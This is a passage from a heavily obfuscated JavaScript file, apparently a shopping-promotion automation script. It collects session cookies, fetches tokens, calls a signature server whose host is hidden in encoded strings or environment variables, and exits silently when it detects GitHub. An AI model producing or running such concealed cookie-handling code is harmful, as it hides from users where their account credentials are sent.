_0x4ae4d1();},'atIGO':_0x245f('‮b7'),'PpyQz':_0x245f('‮b8'),'aCzRz':_0x245f('‮b9'),'beCzU':_0x245f('‫ba'),'notzT':_0x245f('‮bb'),'oVIWK':_0x245f('‮bc'),'txEAT':_0x245f('‮d5'),'NTCwA':_0x245f('‮be')};let _0x341054={'url':_0x245f('‫d6'),'headers':{'Host':_0x3eaf46[_0x245f('‮d7')],'Accept':_0x3eaf46[_0x245f('‫d8')],'X-Requested-With':_0x3eaf46[_0x245f('‫d9')],'Accept-Language':_0x3eaf46[_0x245f('‫da')],'Accept-Encoding':_0x3eaf46[_0x245f('‫db')],'Content-Type':_0x3eaf46[_0x245f('‮dc')],'Origin':_0x3eaf46[_0x245f('‫dd')],'User-Agent':_0x245f('‫c8')+$[_0x245f('‫32')]+_0x245f('‮c9')+$[_0x245f('‫2f')]+_0x245f('‮ca'),'Connection':_0x3eaf46[_0x245f('‮de')],'Referer':$[_0x245f('‫3a')],'Cookie':cookie},'body':_0x245f('‮df')+$[_0x245f('‫39')]+_0x245f('‮e0')+$[_0x245f('‫5f')]+_0x245f('‫e1')};return new Promise(_0x5e0fc0=>{$[_0x245f('‫a3')](_0x341054,(_0x4451c6,_0x37f712,_0x2c7e7e)=>{var _0x45b041={'RmDys':function(_0x5bcd93){return _0x3eaf46[_0x245f('‫e2')](_0x5bcd93);},'mKliv':_0x3eaf46[_0x245f('‫e3')],'UKQND':_0x3eaf46[_0x245f('‫e4')],'zifEl':_0x3eaf46[_0x245f('‮e5')],'wBHgr':_0x3eaf46[_0x245f('‫e6')]};if(_0x3eaf46[_0x245f('‫e7')](_0x3eaf46[_0x245f('‮e8')],_0x3eaf46[_0x245f('‮e8')])){try{if(_0x3eaf46[_0x245f('‫e9')](_0x3eaf46[_0x245f('‫ea')],_0x3eaf46[_0x245f('‫eb')])){$[_0x245f('‫5f')]=_0x2c7e7e[_0x245f('‫5f')];}else{if(_0x4451c6){$[_0x245f('‫22')](_0x4451c6);}else{if(_0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‮ec')]]){cookie=''+originCookie;if($[_0x245f('‫ed')]()){if(_0x3eaf46[_0x245f('‫ee')](_0x3eaf46[_0x245f('‮ef')],_0x3eaf46[_0x245f('‫f0')])){for(let _0x34346f of _0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‮ec')]]){cookie=''+cookie+_0x34346f[_0x245f('‮2a')](';')[0x0]+';';}}else{_0x45b041[_0x245f('‮f1')](_0x5e0fc0);}}else{if(_0x3eaf46[_0x245f('‫ee')](_0x3eaf46[_0x245f('‫f2')],_0x3eaf46[_0x245f('‫f2')])){console[_0x245f('‫22')](error);}else{for(let _0x1a54be of _0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‫e4')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x1a54be[_0x245f('‮2a')](';')[0x0]+';';}}}}if(_0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‫e4')]]){cookie=''+originCookie;if($[_0x245f('‫ed')]()){for(let _0x4f53a2 of _0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‮ec')]]){if(_0x3eaf46[_0x245f('‮f3')](_0x3eaf46[_0x245f('‫f4')],_0x3eaf46[_0x245f('‫f5')])){cookie=''+cookie+_0x4f53a2[_0x245f('‮2a')](';')[0x0]+';';}else{for(let _0x74a26b of _0x37f712[_0x45b041[_0x245f('‫f6')]][_0x45b041[_0x245f('‮f7')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x74a26b[_0x245f('‮2a')](';')[0x0]+';';}}}}else{for(let _0x1ac4fb of _0x37f712[_0x3eaf46[_0x245f('‫e3')]][_0x3eaf46[_0x245f('‫e4')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x1ac4fb[_0x245f('‮2a')](';')[0x0]+';';}}}if(_0x2c7e7e){_0x2c7e7e=JSON[_0x245f('‫aa')](_0x2c7e7e);if(_0x2c7e7e[_0x245f('‫ab')]){$[_0x245f('‫22')](_0x245f('‫f8')+_0x2c7e7e[_0x245f('‫ad')][_0x245f('‮f9')]);$[_0x245f('‫fa')]=_0x2c7e7e[_0x245f('‫ad')][_0x245f('‮f9')];$[_0x245f('‮60')]=_0x2c7e7e[_0x245f('‫ad')][_0x245f('‮60')];cookie=cookie+_0x245f('‫fb')+_0x2c7e7e[_0x245f('‫ad')][_0x245f('‮60')];}else{$[_0x245f('‫44')]=_0x2c7e7e[_0x245f('‫44')];$[_0x245f('‫22')]($[_0x245f('‫44')]);}}else{$[_0x245f('‫22')](_0x3eaf46[_0x245f('‮fc')]);}}}}catch(_0x4ae89b){$[_0x245f('‫22')](_0x4ae89b);}finally{if(_0x3eaf46[_0x245f('‮f3')](_0x3eaf46[_0x245f('‫fd')],_0x3eaf46[_0x245f('‫fd')])){$[_0x245f('‮fe')](e,_0x37f712);}else{_0x3eaf46[_0x245f('‮ff')](_0x5e0fc0);}}}else{$[_0x245f('‫15')]($[_0x245f('‮16')],_0x45b041[_0x245f('‮100')],_0x45b041[_0x245f('‮101')],{'open-url':_0x45b041[_0x245f('‮101')]});return;}});});}function getFirstLZCK(){var _0x4118cf={'gImtt':_0x245f('‮5c'),'JOyWh':_0x245f('‮0'),'wnsbE':_0x245f('‮1'),'Mqrhb':function(_0xe5c082,_0x589630){return _0xe5c082===_0x589630;},'EyqJL':_0x245f('‫102'),'YovoQ':_0x245f('‫2'),'lbTfX':function(_0x474023,_0x374f12){return _0x474023===_0x374f12;},'VccXa':_0x245f('‫103'),'FnxWS':function(_0xd01f69,_0x3cc6f9){return _0xd01f69!==_0x3cc6f9;},'EaZpB':_0x245f('‮104'),'Nhzgr':function(_0x14153f){return _0x14153f();},'CAfOf':function(_0x22e3f2,_0x449f2f){return _0x22e3f2(_0x449f2f);},'awTJk':_0x245f('‮105'),'KHLcK':_0x245f('‫106'),'sujfc':_0x245f('‫107')};return new Promise(_0x3d6dc5=>{var _0x3b4b30={'iDcbo':_0x4118cf[_0x245f('‮108')],'aYoZC':_0x4118cf[_0x245f('‫109')],'dmRQa':_0x4118cf[_0x245f('‫10a')],'YAQSE':function(_0x1c471b,_0x4bd593){return _0x4118cf[_0x245f('‮10b')](_0x1c471b,_0x4bd593);},'gJDmV':_0x4118cf[_0x245f('‮10c')],'SwUKM':_0x4118cf[_0x245f('‫10d')],'yhqrL':function(_0x3118b0,_0x1b539e){return _0x4118cf[_0x245f('‮10e')](_0x3118b0,_0x1b539e);},'ucFrf':_0x4118cf[_0x245f('‮10f')],'AWQia':function(_0x5c18c8,_0x5d3713){return _0x4118cf[_0x245f('‫110')](_0x5c18c8,_0x5d3713);},'bGTQf':_0x4118cf[_0x245f('‮111')],'IFEzu':function(_0x299722){return _0x4118cf[_0x245f('‫112')](_0x299722);}};$[_0x245f('‮113')]({'url':$[_0x245f('‫3a')],'headers':{'user-agent':$[_0x245f('‫ed')]()?process[_0x245f('‮114')][_0x245f('‮115')]?process[_0x245f('‮114')][_0x245f('‮115')]:_0x4118cf[_0x245f('‫116')](require,_0x4118cf[_0x245f('‮117')])[_0x245f('‫118')]:$[_0x245f('‫119')](_0x4118cf[_0x245f('‮11a')])?$[_0x245f('‫119')](_0x4118cf[_0x245f('‮11a')]):_0x4118cf[_0x245f('‫11b')]}},(_0x48d95b,_0x304bad,_0xbfcc02)=>{var _0x305e0a={'duSBo':_0x3b4b30[_0x245f('‫11c')],'vzTFP':_0x3b4b30[_0x245f('‫11d')],'gpCeB':_0x3b4b30[_0x245f('‮11e')]};if(_0x3b4b30[_0x245f('‫11f')](_0x3b4b30[_0x245f('‫120')],_0x3b4b30[_0x245f('‫120')])){try{if(_0x48d95b){console[_0x245f('‫22')](_0x48d95b);}else{if(_0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮11e')]]){cookie=''+originCookie;if($[_0x245f('‫ed')]()){for(let _0x240f9e of _0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮11e')]]){cookie=''+cookie+_0x240f9e[_0x245f('‮2a')](';')[0x0]+';';}}else{for(let _0x38884d of _0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮121')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x38884d[_0x245f('‮2a')](';')[0x0]+';';}}}if(_0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮121')]]){cookie=''+originCookie;if($[_0x245f('‫ed')]()){for(let _0x1064c7 of _0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮11e')]]){if(_0x3b4b30[_0x245f('‮122')](_0x3b4b30[_0x245f('‫123')],_0x3b4b30[_0x245f('‫123')])){cookie=''+cookie+_0x1064c7[_0x245f('‮2a')](';')[0x0]+';';}else{$[_0x245f('‫22')](_0x305e0a[_0x245f('‮124')]);}}}else{if(_0x3b4b30[_0x245f('‫125')](_0x3b4b30[_0x245f('‮126')],_0x3b4b30[_0x245f('‮126')])){for(let _0x5798e7 of _0x304bad[_0x305e0a[_0x245f('‮127')]][_0x305e0a[_0x245f('‫128')]]){cookie=''+cookie+_0x5798e7[_0x245f('‮2a')](';')[0x0]+';';}}else{for(let _0x343061 of _0x304bad[_0x3b4b30[_0x245f('‫11d')]][_0x3b4b30[_0x245f('‮121')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x343061[_0x245f('‮2a')](';')[0x0]+';';}}}}$[_0x245f('‫129')]=cookie;}}catch(_0x3f021f){console[_0x245f('‫22')](_0x3f021f);}finally{_0x3b4b30[_0x245f('‮12a')](_0x3d6dc5);}}else{$[_0x245f('‫22')](_0x48d95b);}});});}function random(_0x5d1108,_0x388302){var _0x59219d={'DylNr':function(_0x3a1efc,_0x5e764f){return _0x3a1efc+_0x5e764f;},'yApMw':function(_0x48356a,_0x5a5108){return _0x48356a*_0x5a5108;},'jQovB':function(_0x46f2e3,_0x335794){return _0x46f2e3-_0x335794;}};return _0x59219d[_0x245f('‮12b')](Math[_0x245f('‮12c')](_0x59219d[_0x245f('‮12d')](Math[_0x245f('‮12e')](),_0x59219d[_0x245f('‮12f')](_0x388302,_0x5d1108))),_0x5d1108);}function getUUID(_0x41f638=_0x245f('‫a'),_0x2ed7ae=0x0){var _0x5d0ec9={'qahaZ':function(_0x559454,_0x4324e4){return _0x559454|_0x4324e4;},'uUaES':function(_0x5f30dc,_0x261744){return _0x5f30dc*_0x261744;},'sGEVU':function(_0x1048e1,_0x8c6fba){return _0x1048e1==_0x8c6fba;},'CVUvX':function(_0xe0d034,_0x1d3503){return _0xe0d034&_0x1d3503;}};return _0x41f638[_0x245f('‮130')](/[xy]/g,function(_0xbef9b6){var _0x2bc8a3=_0x5d0ec9[_0x245f('‮131')](_0x5d0ec9[_0x245f('‮132')](Math[_0x245f('‮12e')](),0x10),0x0),_0x4de9e3=_0x5d0ec9[_0x245f('‫133')](_0xbef9b6,'x')?_0x2bc8a3:_0x5d0ec9[_0x245f('‮131')](_0x5d0ec9[_0x245f('‮134')](_0x2bc8a3,0x3),0x8);if(_0x2ed7ae){uuid=_0x4de9e3[_0x245f('‫135')](0x24)[_0x245f('‫136')]();}else{uuid=_0x4de9e3[_0x245f('‫135')](0x24);}return uuid;});}function checkCookie(){var _0x268227={'SrMUl':function(_0x4b23ba,_0x2597c5){return _0x4b23ba!==_0x2597c5;},'LRKyf':_0x245f('‫137'),'hpMnK':_0x245f('‮138'),'gAmbS':function(_0x4e7525,_0x547397){return _0x4e7525===_0x547397;},'rPfAp':_0x245f('‫139'),'hIwmA':_0x245f('‮13a'),'xMDQI':_0x245f('‫75'),'jXEYP':function(_0xbe7a67){return _0xbe7a67();},'yrpyG':_0x245f('‫13b'),'VgvYT':_0x245f('‫13c'),'TwYea':_0x245f('‫13d'),'ZFURz':_0x245f('‮be'),'dsAaz':_0x245f('‫13e'),'pDWIf':_0x245f('‫ba'),'cPcOq':_0x245f('‫13f'),'SRSaJ':_0x245f('‮bb')};const _0x3915f6={'url':_0x268227[_0x245f('‫140')],'headers':{'Host':_0x268227[_0x245f('‫141')],'Accept':_0x268227[_0x245f('‮142')],'Connection':_0x268227[_0x245f('‫143')],'Cookie':cookie,'User-Agent':_0x268227[_0x245f('‫144')],'Accept-Language':_0x268227[_0x245f('‮145')],'Referer':_0x268227[_0x245f('‫146')],'Accept-Encoding':_0x268227[_0x245f('‮147')]}};return new Promise(_0xd43ec0=>{$[_0x245f('‮113')](_0x3915f6,(_0x2592f4,_0x22539d,_0x3b302e)=>{try{if(_0x268227[_0x245f('‫148')](_0x268227[_0x245f('‮149')],_0x268227[_0x245f('‮149')])){cookie=''+cookie+ck[_0x245f('‮2a')](';')[0x0]+';';}else{if(_0x2592f4){$[_0x245f('‮fe')](_0x2592f4);}else{if(_0x268227[_0x245f('‫148')](_0x268227[_0x245f('‮14a')],_0x268227[_0x245f('‮14a')])){$[_0x245f('‫1f')]=![];return;}else{if(_0x3b302e){_0x3b302e=JSON[_0x245f('‫aa')](_0x3b302e);if(_0x268227[_0x245f('‮14b')](_0x3b302e[_0x245f('‮14c')],_0x268227[_0x245f('‫14d')])){$[_0x245f('‫1f')]=![];return;}if(_0x268227[_0x245f('‮14b')](_0x3b302e[_0x245f('‮14c')],'0')&&_0x3b302e[_0x245f('‫ad')][_0x245f('‮14e')](_0x268227[_0x245f('‮14f')])){$[_0x245f('‮20')]=_0x3b302e[_0x245f('‫ad')][_0x245f('‮13a')][_0x245f('‮150')][_0x245f('‮f9')];}}else{$[_0x245f('‫22')](_0x268227[_0x245f('‫151')]);}}}}}catch(_0x403140){$[_0x245f('‮fe')](_0x403140);}finally{_0x268227[_0x245f('‮152')](_0xd43ec0);}});});}async function getToken(){var _0xf3ccc0={'EYYDR':function(_0xebdd6c,_0xea71ca){return _0xebdd6c===_0xea71ca;},'QwoZf':_0x245f('‮153'),'TKYYR':_0x245f('‫154'),'xwhwU':function(_0x51aa1e,_0x1a7f40){return _0x51aa1e!==_0x1a7f40;},'wnaPZ':_0x245f('‫155'),'JzAUV':_0x245f('‫75'),'LQezs':function(_0x1fa9f7,_0x2de5e0){return _0x1fa9f7!==_0x2de5e0;},'bCNyt':_0x245f('‮156'),'xkcBG':_0x245f('‮157'),'ONDVA':function(_0x43e973,_0x4631c0){return _0x43e973===_0x4631c0;},'KZZWI':_0x245f('‫158'),'BNNVD':_0x245f('‮159'),'tOleq':function(_0x17ea31){return _0x17ea31();},'cwMQw':function(_0x5a6a7d,_0x55a7e9,_0x859731){return _0x5a6a7d(_0x55a7e9,_0x859731);},'cEBOl':_0x245f('‮15a'),'qDfiV':_0x245f('‮15b'),'yRJZf':_0x245f('‫15c'),'KrWkj':_0x245f('‮bc'),'WDwAQ':_0x245f('‫13d'),'ujwZY':_0x245f('‮be'),'CfoWe':_0x245f('‫15d'),'EJAVZ':_0x245f('‮15e'),'ClPMb':_0x245f('‮bb')};let _0x54b7e8=await _0xf3ccc0[_0x245f('‫15f')](getSign,_0xf3ccc0[_0x245f('‮160')],{'id':'','url':_0xf3ccc0[_0x245f('‮161')]});let _0x4d7cb2={'url':_0x245f('‫162'),'headers':{'Host':_0xf3ccc0[_0x245f('‫163')],'Content-Type':_0xf3ccc0[_0x245f('‫164')],'Accept':_0xf3ccc0[_0x245f('‮165')],'Connection':_0xf3ccc0[_0x245f('‮166')],'Cookie':cookie,'User-Agent':_0xf3ccc0[_0x245f('‫167')],'Accept-Language':_0xf3ccc0[_0x245f('‫168')],'Accept-Encoding':_0xf3ccc0[_0x245f('‫169')]},'body':_0x54b7e8};return new Promise(_0x53cd08=>{var _0xad0b10={'NwsKr':function(_0x4b6fd6,_0x10c856){return _0xf3ccc0[_0x245f('‮16a')](_0x4b6fd6,_0x10c856);},'vYlWZ':_0xf3ccc0[_0x245f('‮16b')],'bxIZN':_0xf3ccc0[_0x245f('‫16c')],'wAdsL':function(_0x447796,_0x34f635){return _0xf3ccc0[_0x245f('‮16d')](_0x447796,_0x34f635);},'MDsxJ':_0xf3ccc0[_0x245f('‫16e')],'UjNdA':_0xf3ccc0[_0x245f('‮16f')],'gJSXS':function(_0x1d6a30,_0x3d1313){return _0xf3ccc0[_0x245f('‫170')](_0x1d6a30,_0x3d1313);},'XwCld':_0xf3ccc0[_0x245f('‫171')],'gdFUR':_0xf3ccc0[_0x245f('‮172')],'PUGCm':function(_0x494b07,_0x1e3f64){return _0xf3ccc0[_0x245f('‫173')](_0x494b07,_0x1e3f64);},'FHRDt':_0xf3ccc0[_0x245f('‫174')],'Twecx':_0xf3ccc0[_0x245f('‮175')],'JCKsO':function(_0x50a1d7){return _0xf3ccc0[_0x245f('‫176')](_0x50a1d7);}};$[_0x245f('‫a3')](_0x4d7cb2,(_0x42dc89,_0x5b9dc7,_0x533e1b)=>{if(_0xad0b10[_0x245f('‮177')](_0xad0b10[_0x245f('‫178')],_0xad0b10[_0x245f('‮179')])){console[_0x245f('‫22')](''+JSON[_0x245f('‮b5')](_0x42dc89));console[_0x245f('‫22')]($[_0x245f('‮16')]+_0x245f('‮17a'));}else{try{if(_0x42dc89){$[_0x245f('‫22')](_0x42dc89);}else{if(_0x533e1b){_0x533e1b=JSON[_0x245f('‫aa')](_0x533e1b);if(_0xad0b10[_0x245f('‮177')](_0x533e1b[_0x245f('‫17b')],'0')){$[_0x245f('‫5f')]=_0x533e1b[_0x245f('‫5f')];}}else{if(_0xad0b10[_0x245f('‫17c')](_0xad0b10[_0x245f('‮17d')],_0xad0b10[_0x245f('‮17d')])){_0x533e1b=JSON[_0x245f('‫aa')](_0x533e1b);if(_0xad0b10[_0x245f('‮177')](_0x533e1b[_0x245f('‫17b')],'0')){$[_0x245f('‫5f')]=_0x533e1b[_0x245f('‫5f')];}}else{$[_0x245f('‫22')](_0xad0b10[_0x245f('‮17e')]);}}}}catch(_0x5f1e80){if(_0xad0b10[_0x245f('‮17f')](_0xad0b10[_0x245f('‮180')],_0xad0b10[_0x245f('‮181')])){$[_0x245f('‫22')](_0x5f1e80);}else{$[_0x245f('‫22')](_0x245f('‫f8')+_0x533e1b[_0x245f('‫ad')][_0x245f('‮f9')]);$[_0x245f('‫fa')]=_0x533e1b[_0x245f('‫ad')][_0x245f('‮f9')];$[_0x245f('‮60')]=_0x533e1b[_0x245f('‫ad')][_0x245f('‮60')];cookie=cookie+_0x245f('‫fb')+_0x533e1b[_0x245f('‫ad')][_0x245f('‮60')];}}finally{if(_0xad0b10[_0x245f('‮182')](_0xad0b10[_0x245f('‮183')],_0xad0b10[_0x245f('‫184')])){$[_0x245f('‫22')]('','❌\x20'+$[_0x245f('‮16')]+_0x245f('‮54')+e+'!','');}else{_0xad0b10[_0x245f('‮185')](_0x53cd08);}}}});});}function getSign(_0x5a31a8,_0x1d9055){var _0x5ce289={'ggudy':function(_0x2a8c7c,_0x3142c3){return _0x2a8c7c===_0x3142c3;},'sMbMu':_0x245f('‮186'),'QhXvu':function(_0x530889,_0xfaa586){return _0x530889===_0xfaa586;},'TsiRE':_0x245f('‫187'),'stZNH':_0x245f('‮188'),'MiYwU':function(_0x180ca9,_0x183cdb){return _0x180ca9===_0x183cdb;},'YTupm':_0x245f('‮189'),'hblFA':_0x245f('‫18a'),'WGGmm':function(_0x36ca2f,_0x49f425){return _0x36ca2f(_0x49f425);},'pZctC':function(_0x36ce5e,_0xfa4be8){return _0x36ce5e===_0xfa4be8;},'NkgyH':_0x245f('‫139'),'LbrFA':_0x245f('‮13a'),'JYXzr':_0x245f('‫18b'),'mNlGD':_0x245f('‫18c'),'OjhXs':_0x245f('‫18d'),'qXRJs':_0x245f('‮18e'),'TACTx':function(_0x4b508f,_0x4d9bc9){return _0x4b508f*_0x4d9bc9;},'OCxSP':_0x245f('‫18f')};return new Promise(async _0x11e9a5=>{var _0x64e998={'VqvhR':function(_0x48ca64,_0x11e071){return _0x5ce289[_0x245f('‮190')](_0x48ca64,_0x11e071);},'tPxJJ':_0x5ce289[_0x245f('‮191')],'RREQR':_0x5ce289[_0x245f('‫192')]};let _0x47b61c={'functionId':_0x5a31a8,'body':JSON[_0x245f('‮b5')](_0x1d9055),'activityId':_0x5ce289[_0x245f('‮193')]};let _0x33b09e='';let _0x2dc146=[_0x5ce289[_0x245f('‫194')]];if(process[_0x245f('‮114')][_0x245f('‮195')]){if(_0x5ce289[_0x245f('‮190')](_0x5ce289[_0x245f('‮196')],_0x5ce289[_0x245f('‫197')])){uuid=v[_0x245f('‫135')](0x24);}else{_0x33b09e=process[_0x245f('‮114')][_0x245f('‮195')];}}else{_0x33b09e=_0x2dc146[Math[_0x245f('‮12c')](_0x5ce289[_0x245f('‫198')](Math[_0x245f('‮12e')](),_0x2dc146[_0x245f('‫35')]))];}let _0x2ee0b9={'url':_0x245f('‫199'),'body':JSON[_0x245f('‮b5')](_0x47b61c),'headers':{'Host':_0x33b09e,'User-Agent':_0x5ce289[_0x245f('‮19a')]},'timeout':_0x5ce289[_0x245f('‫198')](0x1e,0x3e8)};$[_0x245f('‫a3')](_0x2ee0b9,(_0x47c96c,_0x4c120c,_0x47b61c)=>{if(_0x5ce289[_0x245f('‫19b')](_0x5ce289[_0x245f('‮19c')],_0x5ce289[_0x245f('‮19c')])){try{if(_0x5ce289[_0x245f('‮19d')](_0x5ce289[_0x245f('‮19e')],_0x5ce289[_0x245f('‫19f')])){$[_0x245f('‫22')](_0x47c96c);}else{if(_0x47c96c){console[_0x245f('‫22')](''+JSON[_0x245f('‮b5')](_0x47c96c));console[_0x245f('‫22')]($[_0x245f('‮16')]+_0x245f('‮17a'));}else{}}}catch(_0xb60f43){$[_0x245f('‮fe')](_0xb60f43,_0x4c120c);}finally{if(_0x5ce289[_0x245f('‮1a0')](_0x5ce289[_0x245f('‫1a1')],_0x5ce289[_0x245f('‮1a2')])){cookie=''+cookie+sk[_0x245f('‮2a')](';')[0x0]+';';}else{_0x5ce289[_0x245f('‮1a3')](_0x11e9a5,_0x47b61c);}}}else{_0x47b61c=JSON[_0x245f('‫aa')](_0x47b61c);if(_0x64e998[_0x245f('‮1a4')](_0x47b61c[_0x245f('‮14c')],_0x64e998[_0x245f('‫1a5')])){$[_0x245f('‫1f')]=![];return;}if(_0x64e998[_0x245f('‮1a4')](_0x47b61c[_0x245f('‮14c')],'0')&&_0x47b61c[_0x245f('‫ad')][_0x245f('‮14e')](_0x64e998[_0x245f('‮1a6')])){$[_0x245f('‮20')]=_0x47b61c[_0x245f('‫ad')][_0x245f('‮13a')][_0x245f('‮150')][_0x245f('‮f9')];}}});});};_0xodw='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: 